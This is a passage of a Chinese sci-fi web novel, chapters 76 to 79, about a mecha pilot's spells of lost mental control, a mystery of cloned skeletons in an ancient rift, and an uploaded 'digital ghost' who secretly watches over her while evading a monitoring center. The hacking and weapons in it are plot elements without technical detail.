记者暗骂今天的头条新闻竟然被一道胸肌拦住了，她无奈转头，正好看到林别歌和南卦往这边走来。 记者眼前一亮，便冲了上去。 话筒支在两人面前，连珠炮似的问。 “你们队长究竟是什么背景？她和两大机甲商是什么关系？” 林别歌和南卦对视一眼，齐齐摇头。 “不道啊。” 什么阿巴阿巴的，听不懂。 …… 陶影一路被带进柏氏工业的医疗舱，经过检查，确认了她的确处于半失控状态，只是依靠自己的精神力强行压制着。 医疗组长看着屏幕上的精神力波形叹气。 “你处于失控状态。” 陶影掂了掂手中的东西：“你说的失控，具体是指什么？” 柏墨举起手指。 “我来替他回答吧。知觉机甲的机师，在长时间超出身体承受范围内使用精神力操纵机甲时，一般会有两种情况。” “一，精神力永久受损。” “二，精神力失控。” “你是第二种情况。” 医疗组长接话：“失控指的是大脑为了腾出资源，会对当前任务以外的精神、记忆等进行暂时性的屏蔽，从而保护你。” 陶影点点头：“这我大概了解，但我的失控和恒我无关吧。” 柏墨挑眉：“你知道自己失控了？” “具体的情况不清楚，但我能感觉到自己的精神力不对劲。”陶影摊手。 精神力高度集中，甚至连周遭的时间都仿佛停止，有种精神和肉|体割裂的感觉。 这要是察觉不到，那她就真脑子出问题了。 柏墨继续询问：“海选赛之后，你来做过一次精神力复查，还记得吗？” “嗯。”陶影坐在箱子上，翘起腿，两手撑在背后，缓慢地眨了眨眼。 医疗舱的灯光打在陶影头上，显得她有些神色莫辨。 给人一种危险的感觉。 柏墨顿了下，仿佛什么都没有发现，继续道：“你一共出现过三次失控。” “弗洛法山脉裂隙，今天的比赛开始前，以及刚刚比赛中。” “但很奇怪。” 陶影握住手中的东西，眼睛眨了眨：“哪里奇怪？” 柏墨没回答，缓缓走到陶影面前。 她抬起左手，状似无意地将报告搁在身侧的箱子上，右手却冷不丁朝陶影伸出。 陶影立刻以一种令人难以理解的奇怪速度，飞快往后一退。 医疗舱的镜面反射过一道寒光，镜中柏墨肉|体瞬间爆发，手揽上陶影的脖子，另一只手迅速绕后—— 医疗组长发出一声惊呼：“小墨！” 但柏墨置若罔闻，一把将陶影按在墙上。 当啷—— 是金属落地的声音。 陶影手中的刀被柏墨一掌劈到地上。 两人发丝交织。 柏墨平静的眼神和陶影对视。 “第三次失控仍然在继续，你在想什么？”—— 作者有话说：小狗：（礼貌的笑容）随口拿初恋当挡箭牌，但你什么时候恋过我。 陶影：当年的事情深究多伤感情啊。 小狗：…… 第76章 柏墨捡起那把袖珍小刀,手腕一翻，“铮——”跟随着一声蜂鸣。 能量刀刺入桌面。 刀的侧壁露出一个微不可察的小孔，在刺入桌面的瞬间,小孔闪过针尖的锋芒。 针尖迅速回弹。 表面上看只是一把普通的小刀，但这根针上的东西,恐怕可以让人死上个几百次。 这是星盗之流会使用的武器，不是一名学生能拿到的。 柏墨握住刀尖,递回到陶影手中,陶影欣然接过,又揣回后腰。 面对柏墨质问的眼神，陶影无辜道：“我身体弱,一个人出门带把刀也很正常吧？” “刀哪里来的？” “二手市场淘的。” “那这个呢？”柏墨露出一个算你过关的表情,换了一只手,又从陶影的后腰掏出一把电击|枪。 一阵乒铃乓啷。 陶影身上的武器一股脑掉落。 柏墨就这么双手环臂看着她，什么都没说。 见糊弄不过去,陶影耸耸肩。 “我没有敌意，只是想试一下未来队友,也就是你的身手。” 柏墨拧眉：“谁要跟你当队友？” “如果太空女鬼队能进入这次比赛前三，你就和我们组队参加职业联赛，你在莱门大学会议厅前说的。” 陶影一本正经地说。 “我当时只说拭目以待,并没有保证什么。” 柏墨眉心蹙得更紧，说完冷冷地伸手。 柏墨本来就不喜欢团体行动，如果比赛能一个人参加，根本懒得找队友。 再加上…… 柏墨昂首：“你并不信任我。既然这样，一开始就不应该寻求我的帮助，而不是到了半途突然试探。” 柏墨从小只跟机甲打交道——她对人跟人之间的距离拿捏并不准。 她也不关心别人。 她关心的唯独只有机甲。 而恒我是这些机甲中最特别的一台。 她帮这名学生，只是因为她是“解锁者”。 柏墨一步步靠近道：“我不在乎你究竟什么目的,也对你利用柏氏工业想做什么不感兴趣。” 柏墨的语气有些重。 “我帮你，因为恒我需要一名机师，仅此而已。” “不在乎什么目的”，柏墨话是这么说，但听上去还挺在意的。 陶影轻咳一声。 柏墨小时候经常来莱机所玩，莱机所的成员都喜欢逗她玩。 不小心就习惯性逗上了。 陶影反省了三秒钟，收起玩笑的态度，语气认真道。 “你误会了。” “我是来寻求合作的。” “我比任何人都希望恒我的存在公布于世，它不应该在仓库里烂掉，它值得在更广阔的赛场发光……甚至战场。在这点上，我跟你一样。” “我只是今天头疼，精神力有些失控。” 说着陶影叹了口气，举起手中的黑色晶体。 “可能是因为这块石头吧。” 刚拿出来，晶体就发出一阵蓝光，陶影一脸“我就知道”的表情，“嘶——”地压抑着头痛，又蹲下身。 把石头扔到柏墨怀里，这才好了点。 柏墨刚才就注意到了这块石头，她原本以为是什么许愿石之类的装饰东西，没想到竟然和精神力有关。 “这颗辉石……你说是它让你失控的？” 陶影恹恹地往后一坐。 “对，我从许彪身上扯来的。” “应该是他从弗洛法山脉捡来的，里面有异常的精神力波动。” 一开始，陶影以为触发她失控的是许彪，但陶影很少因为别人有太大的情绪波动，尤其是许彪这个水平的人。 他还不够格做她的对手。 那就只能是许彪身上的某种东西了。 赛场时间紧急，陶影只来得及意识到这块石头有问题，就扯了下来。 陶影食指敲敲自己的头。 “我的失控，应该和那个遗迹有关。” 果然拿走辉石之后，陶影的失控状态完全解除，恢复正常。 柏氏工业经过一系列精密的检测，确认陶影 提供的辉石内部有异常能量。 “它的确对解锁者的精神力产生了一定的影响。” 柏墨不解：“但据你所说，这块石头许彪也戴了一段时间，为什么只有你失控了？” “可能是什么古老的蓝星科技吧，你们柏氏工业历史悠久，对这个比较熟，问你奶奶说不定能解决，她是精神力相关的学者。” “你怎么知道我奶奶研究这个？” “她是陶影的导师，陶影日记里写的。” 柏墨：“……” 陶影日记里怎么什么都写。 陶影跟柏墨谈了几句联赛的事情后，暂时决定将这块辉石交给柏氏工业研究。 虽然失控可以让她的体质超常发挥，但精神力上有什么副作用还未知，不能随意使用。 走到柏氏工业的大门前，陶影又想起什么，给柏墨打了一通电话。 外面的人行色匆匆，陶影伸出手接到几颗雨点。 手心凉凉的。 陶影仰头看向天空，对通讯的另一头说： “作为合作伙伴，我的确有些不坦诚。所以我想了想，有些事需要和你讲清楚。” 陶影单刀直入。 “我来切斯特星是为了重建莱机所。” “以及让爱荷华家族付出代价。” 柏墨也没料到这人竟然会在电话里说这么重要的事情，噎了一下。 “所以你的合作，是要让我们和爱荷华科技为敌吗？” “你们和爱荷华科技一直都是竞争对手，这对你们没有坏处，我只是提出合作，至于要不要做这场交易，是你的自由。” 柏墨沉默一阵后问：“你做这些都是为了陶影吗？” “有三分之一是。” 陶影低头陷入回忆，半晌，似乎自己也觉得这理由有些好笑。 她从来都关心利益，不知道什么时候竟然为了一些她自己都难以理解的理由，陷入她未曾预料的境地。 “是为了三条性命。” 陶影说完，随手拿过公司门口的透明伞，雨点噼啪地打在伞上。 她走入雨中。 人潮从她身边走过，雨声越来越大，陶影握紧了手中的伞柄。 陶影的人生谈不上一帆风顺。 她是偏远星系出身，黑舱的孩子，但她凭借自己的能力，站到了第一星系，年纪轻轻成为了莱机所的所长。 陶影很擅长，也很享受运用自己的智慧。 从小，陶影有想要的东西，就一定能得到。 有想做的事，都能做到。 但……也并不总是这样。 陶影微不可察地叹了口气，随后低声道。 “我的人生中曾经有过三次无可挽回的失败，每次都伴随一条生命的逝去。” “所以，其中一条是陶影？” 通讯中传来柏墨冷淡的声音。 这孩子，对自己想知道的事情还真是执着。 陶影轻笑：“对，其中一条是。” 因为半决赛的那场大爆炸十分速战速决，赛程宽松下来，陶影的队伍放了几天假。 陶影推开门，两位队友正挤在沙发前面的地板上，看星火科学节目。 音响传来主持人故作深沉的声音。 “今天，让我们走近弗洛法山脉深处，探寻古老的秘密。” 林别歌和南卦兴冲冲地朝陶影挥手：“小影！快来看，这是不是你上次掉进的那个坑！” “哦，是吧。”陶影瞥了眼屏幕，随意答道。她解开围巾，挂在衣帽架上。 队友正看得兴起，节目就插入了十分钟的广告，两位队友无聊地开始玩小蜜蜂游戏。 星火科学，陶影记得是探索灵异事件，然后用科学解释的节目。 陶影随口问：“那个裂隙里有什么灵异事件，我怎么不知道？” 她话音刚落，节目的广告也结束了，开始精彩速览： 【古老蓝星遗迹内竟然发现大量尸骨？这是道德的扭曲，还是人性的沦丧……】 林别歌：“听说洞穴深处发现了大量尸骨！好恐怖的。” 陶影点点头：“我听见了，你不用重复一遍。所以尸骨是什么生物的？” 说到这个林别歌就不困了：“当然是人类的。” 林别歌凑了过来：“而且很奇怪的是，这些白骨的身长，体型，甚至DNA都有相似之处，就像是同一个人！” 那确实很奇怪了。 听上去像是一群复制人大军死在了裂隙里。 南卦谨慎道：“不会又是像上次那样的器官案件吧，类似克隆的仿生人？” “你知道那件事？”陶影讶异地看了南卦一眼。 上次林别歌被骗去打黑工，正好撞上仿生人器官案，还是陶影去捞她出来的，但这件事应该是个秘密。 陶影对林别歌道：“你告诉她了？” 林别歌摆手：“那么丢脸的事情我干嘛要说，不过仿生人器官案很有名的，切斯特星都知道了。” 说着林别歌切出星火科学的往期回顾。 【仿生人竟集体出走，难道是产生了自我意识！】 头图是几百个仿生人正站在欣欣快递一楼，面对星警开始打招呼。 摄影师的阴间滤镜更为画面平添了一丝诡异。 陶影点开节目评论区，想看看节目组究竟探索出来了什么，但没想到大家都在骂烂尾。 “都是博眼球，根本没调查出来结果，差评。” “说这些仿生人是被控制了，你倒是告诉我是被谁控制的啊。” 节目组神秘兮兮地回复：“有内幕，不可说。” 陶影：“……” 哪有什么内幕，就是她当时为了脱身，操控了中央电脑而已。 这节目果然不靠谱。 陶影随便翻了翻，关闭了评论。 就陶影对这个节目的了解来说，它提供不了什么有效信息。 陶影换好衣服，正要上楼，就看见节目主持人绑好安全绳，竟然是亲自进入了裂隙。 主持人在黑暗中，迎着阴森的顶光，缓缓道来。 “据调查，海选赛时，曾有两位选手掉入裂隙，但可惜的是，他们都拒绝了采访。” 主持人语气神秘道：“其中一位，听说最近身上出现了神秘的电击伤痕，但大家无论如何都找不出原因，而且不管他的队友怎么问，他都一言不发。” “而另一位选手，也因为身体原因拒绝了采访。” “听说她的体质，竟然是F！” 陶影：“……” 原来前两天的骚扰电话是你们打的？ 第77章 不需要思考,也知道这位“因身体原因”拒绝采访的人是谁。 林别歌恨铁不成钢地晃着沙发上的队长：“星际TV6！全星际的人都能看见，这是多珍贵的机会，为什么拒绝？” “以为是诈骗电话,听了两句就直接挂掉了，而且我不是很想上少儿频道的节目。” 陶影懒洋洋地趴在沙发扶手上。 林别歌纠正：“这是科教频道。” “有很大的区别吗？” 林别歌叽里咕噜就是一段反驳。 说的什么？听不懂。 陶影左耳朵进右耳朵出,十分钟后，扯了扯林别歌的衣服,示意她让开。 “你挡到我视线了,这位穿着粉色美少女水钻T恤的女士。” 林别歌嘤嘤地坐了回去。 节目还在继续。 主持人探访遗迹,介绍的过程中，却突然冲出几个人,将他们拦住。 “你们干什么的？谁允许你们进来的？” 那人气势汹汹地上前抢摄影器材。 节目组沟通无效,只能无奈地打道回府。 “事后,我们得知，这名人士是星遗局内部人士,我们联系了星遗局，想要获取这些尸骨进一步的信息,但星遗局对此守口如瓶，只说是内部信息，出于保护遗迹的考虑,不予公开。” “咦，不是吧，难道就这样结束了？” 大家正在失落的时候，主持人突然带来一个转折。 “但——好消息，我们找到了一名莱门市热心群众，他愿意提供一些信息！” “莱门市热心群众是什么意思？”林别歌疑惑。 “匿名的星遗局内部人脉。”陶影困意十足地耷拉着眼皮，解释道。 “哦——” 调查记者语气激动：“接下来我们听听这位热心群众提供的内部消息！” 画面切换到室内。 一名戴着疑似鱼类头套的热心群众,正坐在椅子上。 说“疑似鱼类头套”，是因为整个采访画面都被模糊化处理，打码打得只能勉强看清那个头套的轮廓是条鱼。 热心群众前面还摆放着标志性的盆栽。 像是什么法制节目不愿露脸的受害人。 热心群众紧了一下口罩。 “你们确定不会暴露我的身份吧？这件事情上头是下了封口令的，所有收缴到的东西都被上交了。” “当然，我们坚决保障线人的安全。” 得到主持人肯定的回答，那人还是不太放心，扯扯衣服，小声道：“如果不是因为你们给得太多，我才不要冒这个风险。” 说好的热心群众呢？ 林别歌吐槽道：“这是私底下收钱了吧喂。” 热心群众的声音经过打码，变成了奇怪的卡通夹子音，加上他的鱼头，整个画面变得异常诡异。 这人给出了一张所有尸骨平铺开的照片，虽然图片很模糊，但能看出尸骨摆得井井有条。 一共三十七具。 热心群众解释道：“这些尸骨是按照死亡时间来排列的，照片的拍摄时间是在发现当天。” 主持人忍不住感叹：“星遗局的办事速度竟然这么快，竟然秒速确认了每具尸骨的生存死亡时间，还排好了顺序。” “哦那倒不是，”热心群众摆了摆手，“星遗局的办事速度大家都懂的，他们发现尸骨的时候，这三十七具白骨就这样非常有条理地摆放着。每一具尸骨旁边都有详细的记录，可惜还没来得及分析，现场就被封锁了。” 主持人继续追问：“那你推测，这些尸骨为什么会出现在这里？” 热心群众语气认真起来。 “这就是很诡异的一点了。” “星遗局一开始判断，是三十七个人因为雪崩掉入裂隙后被齐齐困死，但检查后，发现她们DNA相似，像是同一个人。” “最重要的是，她们的生存时间并不重合。” “就比如说，A死后，B诞生了，然后是C、D……一个接一个。”热心群众的语气诡异起来。 “这三十七个人的生命，串联在一起，覆盖了接近四年的时间。” 主持人似乎也没见过这个场面，有些语塞。 热心群众继续道： “这件事情星遗局毫无头绪，不过我有一点想法，是非常个人的推测，本来不想说的，但既然收了钱，总得给点信息，你想不想听？” 主持人尊敬地高举话筒：“您说。” 热心群众举起手指：“被困在裂隙的从始至终只有一个人。” “而其它的三十七具尸体，都是她的复制体，她想要通过复制自己，延长生命，找到离开这里的办法。” 林别歌：“啊？” 南卦：“啊？” 陶影摸索下巴：“倒也只有这个解释了。” 毕竟每具尸体的生存时间并没有交叉。总不可能是夺舍吧，那真成灵异事件了。 主持人沉默片刻，也很快反应过来。 “你的猜测符合逻辑上的可行性，但我有一点不太理解，她都有复制自己的技术了，难道还没办法逃出裂隙吗？你怎么判断她是被困在裂隙中，而不是主动留下的？” 热心群众拍了一下他的头套：“哦，忘了告诉你们，我们解析了一部分她在墙上刻的文字。” 热心群众递过来一张照片。 照片的像素点巨大，非常模糊，明显是从内部未公开数据偷偷截取的。 古老的文字，翻译过来的内容是—— 「我将离开这里，你困不住我的。」 「口口口口，你太小看人类了。」 热心群众点头道：“我们推测，这名女性被一个并非人类的生物困在了这里。” 主持人发出了惊呼声。 “哦，是名女性，而将她困住的竟然不是人类！难道这真的是什么灵异事件吗——话又说回来，中间有四个字被划掉了。” 一时间大家的重点变成了这四个字究竟是什么。 大家拼尽全力认了半天，最终主持人遗憾地说，通过图片修复软件也只能勉强恢复出第二个字是：“比”。 口比口口。 林别歌挠头：“口比口口是什么？歪比巴卜？” 林别歌开始猜词，但最终觉得哪个词语放在这里都不太合适。 “这里应该填一个人名吧，或者最起码是个什么生物的名字。”陶影觉得自己大概是太闲了，也加入这场猜字游戏。 南卦仔细思考：“不是人的生物……智能体？福瑞？还是虫族？” “你先等一下，越说越离谱了，”林别歌伸手道，“虫族有这种智慧？” 陶影解释：“一些高等虫族的核心的确拥有媲美人类的智能，但这是近年的事，太空流浪时代的虫族如果有这种智能，雷瓦尔帝国早灭国了，甚至都建不起来。” “可不是虫族，那究竟是什么？” 大家齐齐看向屏幕，希望主持人能再给出进一步解答。 但令人失落的是，节目组也只给出模棱两可的猜测。 “有可能是电子智能体。” 最终这些尸骨是谁，困住那名女性的又是谁，节目没有给出解答。 且因为这期内容又是智械危机，被广大网友痛批导演组能不能编点新鲜的。 但陶影的问题得到了解答。 被困在这种极端环境下，还能存活，精神力强度想必非常高，的确足以在辉石中留下波动。 那颗辉石能影响到她的精神力，也很正常。 嗯，很好，睡觉。 陶影打了个呵欠，悠然地撑着沙发爬起来，踏着拖鞋，准备上楼回房间。 林别歌还在纠结：“所以困住她的究竟是谁？” 陶影在楼梯前转身，抬头望天片刻后，耸了耸肩。 她也不知道。 可能是什么四维生物吧。 …… 陶影梦见自己再次坠入裂隙。 她推开曙光T4的舱门，一阵古老的灰尘迎面袭来。 不过因为是梦，她的身体没有受到灰尘影响。 她甚至能直接从机甲跳下来，而完全没有不适。 陶影摸着裂隙的墙壁，一路向里走。 空气越来越冷，像要将她的身体冻僵。 所有晶体泛滥着蓝色的光。 洞穴深处。 背对着陶影的地方，站着一个女人。 女人长发散乱，身形瘦弱，手里拿着尖锐的骨头，正在岩壁上敲敲打打，刻下今天的日期。 陶影下意识向前，想看看她是谁，却不小心踢到地上的一根腿骨。 乍响一声。 一连串的骨头，发出清脆的撞击声。 那女人听见声音，转过身。 陶影黑色的瞳孔中，映照出一张无比熟悉的脸。 她的五官，她的瞳孔，她的神情—— 都和陶影一模一样。 那是她自己的脸。 那个女人张嘴对她说—— “S，你要离开。” 一道白光闪过，陶影睁开双眼，窗外的鸟叫将她拉回现实。 窗户上挂着南卦送的捕梦网，细碎的晶体折射的太阳光，晃着陶影的眼睛。 ……还真是日有所思夜有所梦。 竟然梦到那个被困的女人。 就是结尾有点意味深长， 像她编来吓林别歌的恐怖故事。 可能是精神力失控的后续影响，回头问问医疗舱好了。 陶影没多想，伸了个懒腰，开始处理接下来的事情。 首先是确认决赛要使用的机体—— 电话里，柏墨简短道：“你确定决赛要使用恒我？你身体承受得了？” 陶影眨了眨眼睛。 “这是计划的一环。” 然后是晨间锻炼—— 陶影挂掉电话，推开走廊的落地窗，沐浴阳光，开始做操。 十二分钟后，陶影开始大喘气。 好的，今日运动已达标。 陶影面无表情地坐下。 今天没有安排训练，但陶影的字典里没有休息两天这种词汇。 闲着浑身不舒服，接下来干什么呢？ 大面包又挤过来，它毛茸而温热的壮硕身躯蹲在陶影的腿上。 这个时候光脑突然响了两声。 陶影瞥了一眼消息，是催费通知。 “哦，这个月电费该交了。” 陶影点开电费单据，正打算顺手交了，看到账单上的数字，手不经意地一抖。 电费……二十万星币。 多少？ 陶影揉了揉眼睛，以为自己看错了。 确认无误后，陶影眉眼间流露出一丝震惊。 这是有人偷偷在家里制毒了？—— 作者有话说：陶影：有蹊跷。 小叶：（移开目光） 第78章 开玩笑的。 陶影躺在走廊上翻了个身。 俩队友都很遵纪守法,不是会干这种事的人。 那这个明显不合理的电费是怎么回事？ 难道…… 陶影眼神一凛。 邪恶大面包其实是外星猫，来切斯特星执行神秘任务，半夜趁大家都睡了,偷她的电？ 陶影有一搭没一搭地用手挠着橘猫的后脑勺，然后薅出一堆猫毛。 唔,小猫咪脊柱弱，应该背不了这么大的锅。 正思考着,突然传来门铃声。 玄关外,一名黑色大衣,黑色口罩，戴着黑色帽子,浑身上下裹得严严实实的人类,正手脚僵硬的按着门铃。 他举起手,对着摄像头挥了挥他的黑色皮质手套。 大白天的这个着装也太可疑了。 陶影手放在后腰，摸住能量刀的刀柄,缓慢移动到门后。 “有什么事吗？” 陶影谨慎地开口。 黑大衣听到声音，浑身抖了两下。 他道：“是这样,我是电力公司的员工，检测到因为公司的失误，导致你们的电费异常,特意登门致歉。” 说着，黑大衣提起胸前的工牌——是电力公司的工作证。 “上个月的电费我们帮您免除了。” 隔着门，黑大衣的声音显得有些闷。 电力公司？ 是说那高得离奇的电费？ 陶影的手微微松了松。 很快，一张单据从信封口滑了进来。 陶影捡起看了两眼。 确实是电力公司的错误操作，导致她们多出了二十万的电费。 内容倒是没什么问题，但…… 电力公司有这么好心？ 不好意思，她的印象中,他们一般比较擅长甩锅，承担责任是不太可能的，承认错误更是不可能的。 陶影疑惑抬头。 门外的黑大衣看上去有些紧张，同手同脚，肢体十分不协调。 黑大衣的背影逐渐远去，消失在小区尽头。 陶影眼睛眯了眯，拿起手里的电费单子，和黑大衣给的单据比对了一下。 总觉得哪里不对劲。 陶影回到客厅，环视了一圈，视线转到智能管家身上时，突然停下。 风吹过树叶沙沙作响，落地窗上的贝壳装饰闪过一道光。 陶影走过去，慢慢地蹲下身。 “小叶？” 智能管家传来启动的声音，它两只眼睛亮了，然后又眨了眨。 “什么事，主人？” “小叶。”“是的主人。” “小叶。”“是的……？” “没什么，就是叫着玩玩。” 叶行晖：“……” 小叶询问了两句陶影今天的身体状况，确认没问题后，就重新陷入了休眠。 陶影眼帘微垂，盯着智能管家看了好一会儿，然后拔掉了它的电源。 她伸手遮住它的眼睛，抚摸两下。 机械的冰冷感从掌心传来。 陶影顿了顿，后退一步取来工具，拆开智能管家的内核。 在重新检查过数据后，陶影手搭着膝盖，半坐在地。 阴暗的房间内，风吹过几声似有若无的轻笑。 陶影嘴角勾勒着笑意，似乎是发现了什么很有意思的东西。 她的眼神中有怀念，也有警觉，又有几分试探。 片刻后，她托着下巴，看向散落一地的智能管家。 “你想做什么？” 于是林别歌回家一开灯，看见的就是陶影一个人坐在客厅，面对被分尸的智能管家阴森森地笑。 林别歌震惊：“你干嘛？” “哦，你们回来了啊。” 陶影扶着膝盖起身，晃晃手里的扳手。 “小叶似乎有些故障，快决赛了，之后会很忙，所以趁休息时间修修。” 林别歌皱眉：“我刚才明明看到你往它机体里插了个奇怪的东西，像是数据盘之类的……算了不重要，所以机器修好了吧？” “不，修坏了，这几天先放我房里。” 陶影意味深长。 “我要好好修一修它。” …… 黑大衣一路走到没有摄像头的角落后，突然抖动了几下。 然后东一块西一块地散架了。 黑色大衣中，迅速跳出三只博美形态的智能犬。 还有仿生人脑袋。 仿生人四肢。 白色蓬松小狗以特工级别的反应速度，眼急爪快地把可疑的脑袋跟四肢一起藏到了巷子的垃圾桶里。 “竟然想到用仿生人的四肢加三条机械狗加一个仿生人脑袋拼接出一个人类身体这种办法，我也太聪明了。” 白色小狗逆着光摇了摇尾巴，眼神深藏功与名。 很快，头上滴滴两声，耳边响起少年清隽的声线。 博美邀功道： “Dust！你交给我的任务完成辣！” 但Dust留下一句“有事在忙，之后联系”，就挂断了通讯。 博美也不恼，只是摇摇头：“这人不会又被莱门监测中心盯上了吧，看来这个月电费也要超标了，实在不行，要不真去电力公司偷点电算了……” 博美自言自语，听见有人的脚步声，眼神一凛，迅速断电。 意识暂时回到了云端。 一双破烂的短靴停驻在垃圾桶旁。 是一名拾荒者，他蹲下身捡起白色小狗，一脸奇怪。 “明明看上去很新……为什么会被丢弃？” 拾荒者捡了会儿垃圾，最后抱起三只小狗离开了。 …… 切斯特星A区，莱门监测中心。 自从朱弛被抓，莱门监测中心的日子清闲了不少。 “Dust这几年本来就只攻击朱弛出现的场合，朱弛被抓之后，它就很少活跃了。” Dust身为被A级通缉的高危智能体，它的“高危”主要体现在攻击能力方面，范围大强度广——但这是莱门监测中心给出的评估。 它实际上攻击性并不强，从诞生开始，他的攻击性仅体现在……陶影相关的事情上。 但陶影已经死了，它也翻不出什么风浪。 所以Dust其它时候的活动，莱门监测中心的打工人都装没看见。 但不幸的是，朱弛后，莱门监测中心很快迎来了一位新主任。 大家本来想着，这位主任虽然没什么能力，但至少不会对他不懂的东西指手画脚，算是比较好相处。 但新主任不知道为什么，对抓住Dust非常有热情。 “新官上任三把火，这火烧不死Dust，只会烧死我们啊……” 几名研究员无奈地进入了战术追捕室。 主任果然正在高呼。 “抓 住他！” “不就是区区A级通缉高危智能体，你今天跑不掉了！哎你们终于来了，快点来帮忙！” 主任朝这边挥了挥手。 研究员们相视叹了口气，一齐投入追捕Dust的工作中。 而追捕自然无疾而终——这么多年了，就没人抓住他过。 “我有个想法，能不能让我试试？”一名新研究员颤颤巍巍推了一下眼镜，挤出人群。 主任拍拍他的背，呃了半天，似乎在回忆这名研究员是谁。 “哦！你是昨天刚招进来的莫五，对吧。小莫，说话不要这么小声，大胆一点，你问问大家就知道，我很好相处的。” 主任一脸的笑容，让开位置。 “来来来，小莫你试试。我们抓了这个Dust好久都没结果，说不定有时候就是需要一点全新的思路。” 于是莫五干脆地点头，站在电子沙盘前，操作星图。 全息电子沙盘中，一颗银白色的星星正以一种夸张的速度在不同的星系间飞驰。 “这个电子沙盘你知道怎么用不？白色星星所在的位置，就是Dust的位置。” “好的，大概知道。” 旁边的研究员本来看莫五是个新人，想提点两句，没想到莫五一摸到电子沙盘，就非常熟练地操作起来。 研究员尴尬地摸了摸鼻子。 不是说是新人吗？怎么比他还熟悉沙盘的操作方式。 莫五轻轻挥了一下手。 电子沙盘中，以莱门监测中心为中心，迅速抛出几条黄色弧线。 弧线时不时交叉，但那颗银白色星星非常灵活地避开了。 屏幕上，它的光点甚至出现了跳动——因为它中途走入私密线路，暂时避开了莱门监测中心的追踪。 研究员摇摇头：“没办法的，他太熟悉跟我们周旋了，在逃跑这件事情上堪称一流……咦？” 研究员凑近屏幕。 白色星点重新亮起，而莫五预判了它的位置。 莫五竟然将Dust逼迫至第三星系的一个死角，五条弧线直直追着Dust而去。 眼看就要包抄了！ 众研究员的心都揪了起来——倒不是说他们跟Dust你追我赶这么多年产生了什么感情，主要是他们这么多年都没抓到的智能体，现在被一个刚进来的新人花了五分钟就抓到了。 那他们岂不是很丢人！ 但临近攻击到的时候——银色星星从星图上消失了。 主任提高声线，明显是有点急了。 “这怎么回事？抓到还是没抓到？” “没有，”莫五叹了口气，摇摇头，“那是Dust刻意放出来迷惑我们的分身，他的本体应该还在什么地方，要是能找到就能一网打尽了。” 众研究员暗自松了一口气。 Dust一旦逃走，就会隐没一段时间，这次算是抓不到了。主任对此表示非常可惜，但也没有办法，只能失落地让大家散场。 …… “呃——” 地下三千米处，少年坠落在地。 他双手环抱着身体，浑身战栗，但叶行晖已经死去很久了，现在身为电子幽灵的他，没有人类的感觉。 倒不是说他没有情绪跟感知，托小影那台仪器的福，他的意识转换很完善，这些感觉他都还有。 只是平时关掉了一部分。 主要是……太耗电了。 黑金色的运算机，指示灯正在不平稳地闪烁。 叶行晖缓缓起身，确认刚才的损失情况。 在刚才的攻击中，他的一部分备份数据丢失了，正在重新恢复。 这不是寻常的攻击。 最近莱门监测中心似乎盯上他了，只要他一出现就会被攻击，今天本来是想尽快甩掉尾巴，所以刻意利用分身引开他们。 没想到竟然被逼迫到这个地步。 追着他的不是人类的攻击，而是一只高级智能体。 这只智能体和迄今为止，叶行晖在电子世界遇到的所有智能体都不一样，它很强，似乎能预判到他的行为。 这段时间看来要暂时销声匿迹了。 本来今天是想去打工挣电费的…… 之前为了填小影家的电费，他的存款又见底了。 说到这个，怎么今天一天小影都没有叫过他？ 为了省电，叶行晖只给智能管家设置了陶影的声纹解锁，如果她叫，他会迅速应答。 检查了一下，连接似乎因为不明原因断掉了。可能是因为刚刚的攻击，数据流不太稳定。 叶行晖更新了一下和智能管家的连接。 陶影的声音很快传来。 她手里拿着扳手，正奇怪地敲着智能管家的头。 “小叶？怎么不回我。” “不会真修坏了吧。” 陶影自言自语两句，转着圈检查小叶的身体，看到背后远程连接的指示灯，她怔愣了一下。 很快，陶影露出笑容，就这样半蹲着身体，像接近猎物一般，缓慢凑近小叶的脸。 陶影的指节抬起，随后轻轻叩了两下。 她以一种近乎恶作剧的语气道—— “小叶，你又神游天外了？” 睫毛似乎能扫过他的眼睛。 深邃如深渊的黑色瞳孔，仿佛透过屏幕在和另一个灵魂对视。 画面和记忆中的人重叠。 叶行晖呼吸一滞—— 作者有话说：监测中心：盯上小狗。 陶影：盯上小狗。 小狗：…… 第79章 叶行晖从来没有忘记过陶影。 和陶影的记忆随着时间,被他一次又一次的反刍，在内存中不断重演。 成为电子幽灵的好处是，幽灵的大脑不会篡改记忆,运算机里存储的数据只会丢失，不会变化。 所有记忆都会完整保存,不会有任何偏差。 而坏处和好处一样。 所有的记忆都是那么清晰。 叶行晖等了陶影十年。 有很多次，他曾濒临绝境,需要丢弃一部分冗余数据,才能保存自己的意识完整。 但他不愿意删除和她相关的数据。 哪怕一点。 叶行晖的手抬起,轻轻触碰着屏幕。 在他的灵魂难以触及的地方，那双黑色的眼睛依旧凝视着他。 那个人对他来说,是深邃的,不可抑制的,唤醒本能的—— 无条件吸引他的深渊。 叶行晖坠入回忆。 维亚医疗中心，顶楼天台。 快要锈掉的铁门被人用一根铁棍锁起,门口凌乱地堆着一堆纸箱子。 泛黄的防滑地砖旧得有些过分，边角都起翘,被人用十米宽的防水布铺了起来。 而防水布上，不知是谁搭了一个简易的露天影院。投影仪，幕布,音响，很古典的电影播放套装——说古典有点美化了，实际算是半个破烂。 除了一些忠实爱好者，现在的星际几乎没人用它看电影。 投影光照亮了一束尘埃，光影变换。 黑白电影到了尾声，开始滚动制作人员名单。 少年双手抱膝，一直盯着幕布的角落,像在思考电影内容，没有回神。 陶影对电影没什么兴趣，她坐在一边，有一搭没一搭地写着项目文件。 见电影播完，她撑起身打算收拾东西回宿舍，转头就看见叶行晖在发呆。 陶影的手在他面前晃了晃。 没反应。 感觉眼神也很空洞，不知道思维飘到哪里去了。 陶影顿了下，用录影带盒子敲了敲叶行晖的头。 “小叶，你又神游天外了？” 见叶行晖捂着头，有些吃痛地抬头看她，陶影嘴角上扬，心情愉悦地将两手搭在栏杆上。 陶影享受着夜风，凑到叶行晖耳边。 “是你说生日想要《海，宇宙，与尘埃》的录影带，可怜兮兮地递上全部家当，我才答应去帮你买，结果沦落到半夜翻墙不说，还在校门口被奇怪的女人缠上了——” “我很亏。” 陶影越想越觉得这笔买卖十分不划算 ，要再取一点代价心里才能平衡。 她思前想后，最后双手捏住叶行晖白嫩的脸颊，在他没反应过来前，一阵揉搓。 叶行晖的脸颊很快泛起红痕。 陶影满意地欣赏了一下自己的杰作，这才解气地收回手。 她继续道：“你电影看到一半就开始发呆，对得起我的劳动成果吗？” 叶行晖老实道歉：“对不起。” 他吃痛地揉了揉脸，但很快发现盲点。 “你不看我怎么知道我在发呆？” 